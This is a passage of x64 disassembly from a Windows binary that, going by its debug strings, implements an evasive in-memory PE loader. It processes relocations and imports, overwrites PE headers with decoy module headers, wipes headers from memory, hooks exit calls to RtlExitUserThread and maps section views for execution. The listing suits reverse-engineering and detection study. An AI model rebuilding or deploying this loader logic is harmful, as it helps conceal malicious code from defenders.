mov qword [rsp + 0x20], rcx
mov r9d, 0xf4
mov r8, qword [rsp + 0x2c0]
lea rdx, [0x1400405e8]
mov rcx, rax
call fcn.140011a10
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0xa8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4c0], rax
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x4c0]
mov r8, rcx
lea rdx, str.Copied_section_name:__s
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x140041758]
call fcn.140013d88
test rax, rax
je 0x14000d3fc
mov edx, 0x5c
lea rcx, [0x140041798]
call fcn.140013d88
inc rax
mov qword [rsp + 0x2c8], rax
jmp 0x14000d40b
lea rax, [0x1400417d8]
mov qword [rsp + 0x2c8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400406f8]
mov qword [rsp + 0x20], rcx
mov r9d, 0xf5
mov r8, qword [rsp + 0x2c8]
lea rdx, [0x140040788]
mov rcx, rax
call fcn.140011a10
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov qword [rsp + 0x4c8], rax
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0x4c8]
mov r8d, dword [rcx + rdx + 0xc]
lea rdx, str.Copied_section_source_offset:_0x_X
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x140041818]
call fcn.140013d88
test rax, rax
je 0x14000d4b0
mov edx, 0x5c
lea rcx, [0x140041858]
call fcn.140013d88
inc rax
mov qword [rsp + 0x2d0], rax
jmp 0x14000d4bf
lea rax, [0x140041898]
mov qword [rsp + 0x2d0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400408f8]
mov qword [rsp + 0x20], rcx
mov r9d, 0xf6
mov r8, qword [rsp + 0x2d0]
lea rdx, [0x140040988]
mov rcx, rax
call fcn.140011a10
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov qword [rsp + 0x4d0], rax
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0x4d0]
mov r8d, dword [rcx + rdx + 0x14]
lea rdx, str.Copied_section_dest_offset:_0x_X
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x1400418d8]
call fcn.140013d88
test rax, rax
je 0x14000d564
mov edx, 0x5c
lea rcx, [0x140041918]
call fcn.140013d88
inc rax
mov qword [rsp + 0x2d8], rax
jmp 0x14000d573
lea rax, [0x140041958]
mov qword [rsp + 0x2d8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140040ad8]
mov qword [rsp + 0x20], rcx
mov r9d, 0xf7
mov r8, qword [rsp + 0x2d8]
lea rdx, [0x140040b68]
mov rcx, rax
call fcn.140011a10
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov qword [rsp + 0x4d8], rax
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0x4d8]
mov r8d, dword [rcx + rdx + 8]
lea rdx, str.Copied_section_absolute_address:_0x_lX
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x140041998]
call fcn.140013d88
test rax, rax
je 0x14000d618
mov edx, 0x5c
lea rcx, [0x1400419d8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x2e0], rax
jmp 0x14000d627
lea rax, [0x140041a18]
mov qword [rsp + 0x2e0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140040ce8]
mov qword [rsp + 0x20], rcx
mov r9d, 0xf8
mov r8, qword [rsp + 0x2e0]
lea rdx, [0x140040d78]
mov rcx, rax
call fcn.140011a10
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov qword [rsp + 0x4e0], rax
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0x4e0]
mov r8d, dword [rcx + rdx + 0x10]
lea rdx, str.Copied_section_size:_0x_lX
mov rcx, rax
call fcn.140011a10
jmp 0x14000d1af
mov edx, 0x5c
lea rcx, [0x140041a78]
call fcn.140013d88
test rax, rax
je 0x14000d6d1
mov edx, 0x5c
lea rcx, [0x140041ab8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x2e8], rax
jmp 0x14000d6e0
lea rax, [0x140041af8]
mov qword [rsp + 0x2e8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140040e18]
mov qword [rsp + 0x20], rcx
mov r9d, 0xfb
mov r8, qword [rsp + 0x2e8]
lea rdx, [0x140040ea8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Sections_copied.
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x68]
mov rax, qword [rax + 0x30]
mov rcx, qword [rsp + 0x58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe8], rax
mov edx, 0x5c
lea rcx, [0x140041b58]
call fcn.140013d88
test rax, rax
je 0x14000d77c
mov edx, 0x5c
lea rcx, [0x140041b98]
call fcn.140013d88
inc rax
mov qword [rsp + 0x2f0], rax
jmp 0x14000d78b
lea rax, [0x140041bd8]
mov qword [rsp + 0x2f0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140041b4c]
mov qword [rsp + 0x20], rcx
mov r9d, 0xfe
mov r8, qword [rsp + 0x2f0]
lea rdx, [0x140041c18]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8, qword [rsp + 0xe8]
lea rdx, str.Image_Relocation_Offset:_0x_p
mov rcx, rax
call fcn.140011a10
cmp dword [rsp + 0xd8], 0
je 0x14000dbad
cmp qword [rsp + 0xe8], 0
je 0x14000dbad
mov edx, 0x5c
lea rcx, [0x140041c58]
call fcn.140013d88
test rax, rax
je 0x14000d830
mov edx, 0x5c
lea rcx, [0x140041c98]
call fcn.140013d88
inc rax
mov qword [rsp + 0x2f8], rax
jmp 0x14000d83f
lea rax, [0x140041cd8]
mov qword [rsp + 0x2f8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140041c50]
mov qword [rsp + 0x20], rcx
mov r9d, 0x101
mov r8, qword [rsp + 0x2f8]
lea rdx, [0x140041d18]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Applying_Relocations
mov rcx, rax
call fcn.140011a10
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rsp + 0x78]
mov eax, dword [rcx + rax + 0x88]
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc8], rax
mov eax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x11c]
add rax, rcx
cmp qword [rsp + 0xc8], rax
jae 0x14000dbad
mov rax, qword [rsp + 0xc8]
cmp dword [rax + 4], 0
je 0x14000dbad
mov rax, qword [rsp + 0xc8]
add rax, 8
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xc8]
mov eax, dword [rax + 4]
mov rcx, qword [rsp + 0xc8]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 0x98], rax
je 0x14000db98
mov eax, 0xfff
mov rcx, qword [rsp + 0x98]
movzx ecx, word [rcx]
and cx, ax
movzx eax, cx
movzx eax, ax
mov rcx, qword [rsp + 0xc8]
add eax, dword [rcx]
mov rcx, qword [rsp + 0x78]
cmp eax, dword [rcx + 0x50]
jae 0x14000db7f
mov rax, qword [rsp + 0xc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov ecx, 0xfff
mov rdx, qword [rsp + 0x98]
movzx edx, word [rdx]
and dx, cx
movzx ecx, dx
movzx ecx, cx
add rax, rcx
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x98]
movzx eax, word [rax]
shr ax, 0xc
and ax, 0xf
movzx eax, ax
cmp eax, 0xa
jne 0x14000d9d7
mov rax, qword [rsp + 0xd0]
mov rax, qword [rax]
add rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xd0]
mov qword [rcx], rax
jmp 0x14000db7f
mov rax, qword [rsp + 0x98]
movzx eax, word [rax]
shr ax, 0xc
and ax, 0xf
movzx eax, ax
cmp eax, 3
jne 0x14000da14
mov eax, dword [rsp + 0xe8]
mov rcx, qword [rsp + 0xd0]
add rax, qword [rcx]
mov rcx, qword [rsp + 0xd0]
mov qword [rcx], rax
jmp 0x14000db7f
mov rax, qword [rsp + 0x98]
movzx eax, word [rax]
shr ax, 0xc
and ax, 0xf
movzx eax, ax
cmp eax, 1
jne 0x14000da5f
mov rax, qword [rsp + 0xe8]
shr rax, 0x10
and rax, 0xffff
movzx eax, ax
mov rcx, qword [rsp + 0xd0]
add rax, qword [rcx]
mov rcx, qword [rsp + 0xd0]
mov qword [rcx], rax
jmp 0x14000db7f
mov rax, qword [rsp + 0x98]
movzx eax, word [rax]
shr ax, 0xc
and ax, 0xf
movzx eax, ax
cmp eax, 2
jne 0x14000daa6
mov rax, qword [rsp + 0xe8]
and rax, 0xffff
movzx eax, ax
mov rcx, qword [rsp + 0xd0]
add rax, qword [rcx]
mov rcx, qword [rsp + 0xd0]
mov qword [rcx], rax
jmp 0x14000db7f
mov rax, qword [rsp + 0x98]
movzx eax, word [rax]
shr ax, 0xc
and ax, 0xf
movzx eax, ax
test eax, eax
je 0x14000db7f
mov edx, 0x5c
lea rcx, [0x140041d50]
call fcn.140013d88
test rax, rax
je 0x14000daf8
mov edx, 0x5c
lea rcx, [0x140041d90]
call fcn.140013d88
inc rax
mov qword [rsp + 0x300], rax
jmp 0x14000db07
lea rax, [0x140041dd0]
mov qword [rsp + 0x300], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140041d48]
mov qword [rsp + 0x20], rcx
mov r9d, 0x116
mov r8, qword [rsp + 0x300]
lea rdx, [0x140041e10]
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x98]
movzx eax, word [rax]
shr ax, 0xc
and ax, 0xf
movzx eax, ax
mov dword [rsp + 0x198], eax
mov ecx, 2
call fcn.1400154c4
mov ecx, dword [rsp + 0x198]
mov r8d, ecx
lea rdx, str.ERROR:_Unrecognized_Relocation_type__08lx.
mov rcx, rax
call fcn.140011a10
jmp 0x1400100c7
mov rax, qword [rsp + 0x98]
add rax, 2
mov qword [rsp + 0x98], rax
jmp 0x14000d908
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xc8], rax
jmp 0x14000d8bb
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x78]
mov eax, dword [rcx + rax + 0x88]
mov dword [rsp + 0x64], eax
cmp dword [rsp + 0x64], 0
je 0x14000df07
mov edx, 0x5c
lea rcx, [0x140041e60]
call fcn.140013d88
test rax, rax
je 0x14000dc05
mov edx, 0x5c
lea rcx, [0x140041ea0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x308], rax
jmp 0x14000dc14
lea rax, [0x140041ee0]
mov qword [rsp + 0x308], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140041e54]
mov qword [rsp + 0x20], rcx
mov r9d, 0x123
mov r8, qword [rsp + 0x308]
lea rdx, [0x140041f20]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Processing_the_Import_Table
mov rcx, rax
call fcn.140011a10
mov eax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf0], rax
jmp 0x14000dc8d
mov rax, qword [rsp + 0xf0]
add rax, 0x14
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
cmp dword [rax + 0xc], 0
je 0x14000df07
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x158], rax
mov rdx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x860]
call fcn.140011d74
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0], rax
jmp 0x14000dd3f
mov rax, qword [rsp + 0x88]
add rax, 8
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0xb0]
add rax, 8
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x88]
cmp qword [rax], 0
jne 0x14000dd52
jmp 0x14000df02
mov rax, qword [rsp + 0x88]
movabs rcx, 0x8000000000000000
mov rax, qword [rax]
and rax, rcx
test rax, rax
je 0x14000dda2
mov rax, qword [rsp + 0x88]
mov r9d, dword [rax]
xor r8d, r8d
mov rdx, qword [rsp + 0x100]
mov rcx, qword [rsp + 0x860]
call fcn.140012174
mov rcx, qword [rsp + 0xb0]
mov qword [rcx], rax
jmp 0x14000defd
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x868]
cmp dword [rax + 4], 0
je 0x14000decb
mov rax, qword [rsp + 0x140]
add rax, 2
mov rdx, rax
mov rcx, qword [rsp + 0x860]
call fcn.140007814
test eax, eax
je 0x14000decb
mov edx, 0x5c
lea rcx, [0x140041f60]
call fcn.140013d88
test rax, rax
je 0x14000de2a
mov edx, 0x5c
lea rcx, [0x140041fa0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x310], rax
jmp 0x14000de39
lea rax, [0x140041fe0]
mov qword [rsp + 0x310], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140041f54]
mov qword [rsp + 0x20], rcx
mov r9d, 0x141
mov r8, qword [rsp + 0x310]
lea rdx, [0x140042020]
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x140]
add rax, 2
mov qword [rsp + 0x4e8], rax
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x4e8]
mov r9, rcx
mov r8, qword [rsp + 0x158]
lea rdx, str.Replacing__s__s_with_ntdll_RtlExitUserThread
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x860]
mov rcx, qword [rcx + 0x1e0]
mov qword [rax], rcx
jmp 0x14000dd17
mov rax, qword [rsp + 0x140]
add rax, 2
xor r9d, r9d
mov r8, rax
mov rdx, qword [rsp + 0x100]
mov rcx, qword [rsp + 0x860]
call fcn.140012174
mov rcx, qword [rsp + 0xb0]
mov qword [rcx], rax
jmp 0x14000dd17
jmp 0x14000dc79
mov eax, 8
imul rax, rax, 0xd
mov rcx, qword [rsp + 0x78]
mov eax, dword [rcx + rax + 0x88]
mov dword [rsp + 0x64], eax
cmp dword [rsp + 0x64], 0
je 0x14000e161
mov edx, 0x5c
lea rcx, [0x140042070]
call fcn.140013d88
test rax, rax
je 0x14000df5f
mov edx, 0x5c
lea rcx, [0x1400420b0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x318], rax
jmp 0x14000df6e
lea rax, [0x1400420f0]
mov qword [rsp + 0x318], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140042068]
mov qword [rsp + 0x20], rcx
mov r9d, 0x14f
mov r8, qword [rsp + 0x318]
lea rdx, [0x140042130]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Processing_Delayed_Import_Table
mov rcx, rax
call fcn.140011a10
mov eax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf8], rax
jmp 0x14000dfe7
mov rax, qword [rsp + 0xf8]
add rax, 0x20
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0xf8]
cmp dword [rax + 4], 0
je 0x14000e161
mov rax, qword [rsp + 0xf8]
mov eax, dword [rax + 4]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x158], rax
mov rdx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x860]
call fcn.140011d74
mov qword [rsp + 0x100], rax
cmp qword [rsp + 0x100], 0
jne 0x14000e041
jmp 0x14000dfd3
mov rax, qword [rsp + 0xf8]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0xf8]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0], rax
jmp 0x14000e0a7
mov rax, qword [rsp + 0x88]
add rax, 8
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0xb0]
add rax, 8
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x88]
cmp qword [rax], 0
jne 0x14000e0ba
jmp 0x14000e15c
mov rax, qword [rsp + 0x88]
movabs rcx, 0x8000000000000000
mov rax, qword [rax]
and rax, rcx
test rax, rax
je 0x14000e107
mov rax, qword [rsp + 0x88]
mov r9d, dword [rax]
xor r8d, r8d
mov rdx, qword [rsp + 0x100]
mov rcx, qword [rsp + 0x860]
call fcn.140012174
mov rcx, qword [rsp + 0xb0]
mov qword [rcx], rax
jmp 0x14000e157
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x140]
add rax, 2
xor r9d, r9d
mov r8, rax
mov rdx, qword [rsp + 0x100]
mov rcx, qword [rsp + 0x860]
call fcn.140012174
mov rcx, qword [rsp + 0xb0]
mov qword [rcx], rax
jmp 0x14000e07f
jmp 0x14000dfd3
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x488], eax
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x170], rax
lea rax, [rsp + 0x520]
mov rdi, rax
mov rsi, qword [rsp + 0x68]
mov ecx, 0x108
rep movsb byte [rdi], byte [rsi]
movzx eax, word [rsp + 0x526]
imul rax, rax, 0x28
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
mov rax, qword [rsp + 0x860]
call qword [rax + 0x48]
mov qword [rsp + 0x90], rax
movzx eax, word [rsp + 0x526]
imul rax, rax, 0x28
mov r8d, eax
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x90]
call fcn.1400130fc
mov rax, qword [rsp + 0x860]
cmp dword [rax + 0x574], 1
jne 0x14000e436
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x860]
movsx eax, byte [rcx + rax + 0x625]
test eax, eax
jne 0x14000e2ed
mov edx, 0x5c
lea rcx, [0x140042170]
call fcn.140013d88
test rax, rax
je 0x14000e260
mov edx, 0x5c
lea rcx, [0x1400421b0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x320], rax
jmp 0x14000e26f
lea rax, [0x1400421f0]
mov qword [rsp + 0x320], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140042168]
mov qword [rsp + 0x20], rcx
mov r9d, 0x180
mov r8, qword [rsp + 0x320]
lea rdx, [0x140042230]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Wiping_Headers_from_memory
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x68]
mov r8d, dword [rax + 0x54]
xor edx, edx
mov rcx, qword [rsp + 0x58]
call fcn.140013170
mov rax, qword [rsp + 0x68]
mov r8d, dword [rax + 0x54]
xor edx, edx
mov rcx, qword [rsp + 0x108]
call fcn.140013170
jmp 0x14000e436
mov edx, 0x5c
lea rcx, [0x140042270]
call fcn.140013d88
test rax, rax
je 0x14000e321
mov edx, 0x5c
lea rcx, [0x1400422b0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x328], rax
jmp 0x14000e330
lea rax, [0x1400422f0]
mov qword [rsp + 0x328], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140042264]
mov qword [rsp + 0x20], rcx
mov r9d, 0x185
mov r8, qword [rsp + 0x328]
lea rdx, [0x140042330]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Overwriting_PE_headers_with_the_decoy_modules.
mov rcx, rax
call fcn.140011a10
cmp qword [rsp + 0x148], 0
je 0x14000e3a7
mov rax, qword [rsp + 0x68]
mov r8d, dword [rax + 0x54]
mov rdx, qword [rsp + 0x148]
mov rcx, qword [rsp + 0x58]
call fcn.1400130fc
jmp 0x14000e436
mov edx, 0x5c
lea rcx, [0x140042380]
call fcn.140013d88
test rax, rax
je 0x14000e3db
mov edx, 0x5c
lea rcx, [0x1400423c0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x330], rax
jmp 0x14000e3ea
lea rax, [0x140042400]
mov qword [rsp + 0x330], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140042378]
mov qword [rsp + 0x20], rcx
mov r9d, 0x18a
mov r8, qword [rsp + 0x330]
lea rdx, [0x140042440]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Could_not_locate_decoy_PE_headers.
mov rcx, rax
call fcn.140011a10
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x860]
movsx eax, byte [rcx + rax + 0x625]
test eax, eax
jne 0x14000e924
mov edx, 0x5c
lea rcx, [0x140042488]
call fcn.140013d88
test rax, rax
je 0x14000e48b
mov edx, 0x5c
lea rcx, [0x1400424c8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x338], rax
jmp 0x14000e49a
lea rax, [0x140042508]
mov qword [rsp + 0x338], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14004247c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x18f
mov r8, qword [rsp + 0x338]
lea rdx, [0x140042548]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Unmapping_temporary_local_view_of_section_to_persist_changes.
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x860]
call qword [rax + 0xb0]
mov rdx, qword [rsp + 0x58]
mov rcx, rax
mov rax, qword [rsp + 0x860]
call qword [rax + 0x220]
mov dword [rsp + 0x60], eax
mov edx, 0x5c
lea rcx, [0x1400425a8]
call fcn.140013d88
test rax, rax
je 0x14000e542
mov edx, 0x5c
lea rcx, [0x1400425e8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x340], rax
jmp 0x14000e551
lea rax, [0x140042628]
mov qword [rsp + 0x340], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400425a0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x191
mov r8, qword [rsp + 0x340]
lea rdx, [0x140042668]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8d, dword [rsp + 0x60]
lea rdx, [0x140042680]
mov rcx, rax
call fcn.140011a10
cmp dword [rsp + 0x60], 0
je 0x14000e5ae
jmp 0x14001029e
cmp dword [rsp + 0xd8], 0
je 0x14000e654
mov edx, 0x5c
lea rcx, [0x140042698]
call fcn.140013d88
test rax, rax
je 0x14000e5f0
mov edx, 0x5c
lea rcx, [0x1400426d8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x348], rax
jmp 0x14000e5ff
lea rax, [0x140042718]
mov qword [rsp + 0x348], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140042690]
mov qword [rsp + 0x20], rcx
mov r9d, 0x196
mov r8, qword [rsp + 0x348]
lea rdx, [0x140042758]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.No_relocation_information_present__so_using_preferred_address...
mov rcx, rax
call fcn.140011a10
mov qword [rsp + 0x58], 0
mov qword [rsp + 0xc0], 0
mov edx, 0x5c
lea rcx, [0x1400427c0]
call fcn.140013d88
test rax, rax
je 0x14000e694
mov edx, 0x5c
lea rcx, [0x140042800]
call fcn.140013d88
inc rax
mov qword [rsp + 0x350], rax
jmp 0x14000e6a3
lea rax, [0x140042840]
mov qword [rsp + 0x350], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400427b4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x19b
mov r8, qword [rsp + 0x350]
lea rdx, [0x140042880]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Mapping_writecopy_local_view_of_section_to_execute_PE.
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x860]
call qword [rax + 0xb0]
mov dword [rsp + 0x48], 0x80
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x58]
mov rdx, rax
mov rcx, qword [rsp + 0x150]
mov rax, qword [rsp + 0x860]
call qword [rax + 0x218]
mov dword [rsp + 0x60], eax
mov edx, 0x5c
lea rcx, [0x1400428d8]
call fcn.140013d88
test rax, rax
je 0x14000e78d
mov edx, 0x5c
lea rcx, [0x140042918]
call fcn.140013d88
inc rax
mov qword [rsp + 0x358], rax
jmp 0x14000e79c
lea rax, [0x140042958]
mov qword [rsp + 0x358], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400428d0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x19d
mov r8, qword [rsp + 0x358]
lea rdx, [0x140042998]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8, qword [rsp + 0xc0]
lea rdx, str.View_size:__lld
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x1400429c8]
call fcn.140013d88
test rax, rax
je 0x14000e824
mov edx, 0x5c
lea rcx, [0x140042a08]
call fcn.140013d88
inc rax
mov qword [rsp + 0x360], rax
jmp 0x14000e833
lea rax, [0x140042a48]
mov qword [rsp + 0x360], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400429c0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x19e
mov r8, qword [rsp + 0x360]
lea rdx, [0x140042a88]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8d, dword [rsp + 0x60]
lea rdx, str.NTSTATUS:__d
mov rcx, rax
call fcn.140011a10
cmp dword [rsp + 0x60], 0
je 0x14000e890
jmp 0x14001029e
mov edx, 0x5c
lea rcx, [0x140042ab8]
call fcn.140013d88
test rax, rax
je 0x14000e8c4
mov edx, 0x5c
lea rcx, [0x140042af8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x368], rax
jmp 0x14000e8d3
lea rax, [0x140042b38]
mov qword [rsp + 0x368], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140042ab0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1a1
mov r8, qword [rsp + 0x368]
lea rdx, [0x140042b78]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8, qword [rsp + 0x58]
lea rdx, str.Mapped_to_address:__p
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x140042bb0]
call fcn.140013d88
test rax, rax
je 0x14000e958
mov edx, 0x5c
lea rcx, [0x140042bf0]
call fcn.140013d88
inc rax
mov qword [rsp + 0x370], rax
jmp 0x14000e967
lea rax, [0x140042c30]
mov qword [rsp + 0x370], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140042ba8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1a6
mov r8, qword [rsp + 0x370]
lea rdx, [0x140042c70]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Pre_marking_module_as_WC_to_avoid_padding_between_PE_sections_staying_RWX.
mov rcx, rax
call fcn.140011a10
lea r9, [rsp + 0xa4]
mov r8d, 8
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x860]
call qword [rax + 0x60]
mov edx, 0x5c
lea rcx, [0x140042ce0]
call fcn.140013d88
test rax, rax
je 0x14000ea0d
mov edx, 0x5c
lea rcx, [0x140042d20]
call fcn.140013d88
inc rax
mov qword [rsp + 0x378], rax
jmp 0x14000ea1c
lea rax, [0x140042d60]
mov qword [rsp + 0x378], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140042c88]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1a9
mov r8, qword [rsp + 0x378]
lea rdx, [0x140042da0]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Setting_permissions_for_each_PE_section
mov rcx, rax
call fcn.140011a10
mov dword [rsp + 0x50], 0
jmp 0x14000ea7c
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
movzx eax, word [rsp + 0x526]
cmp dword [rsp + 0x50], eax
jae 0x14000f1b4
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x90]
mov eax, dword [rcx + rax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x14000eab8
mov dword [rsp + 0x120], 1
jmp 0x14000eac3
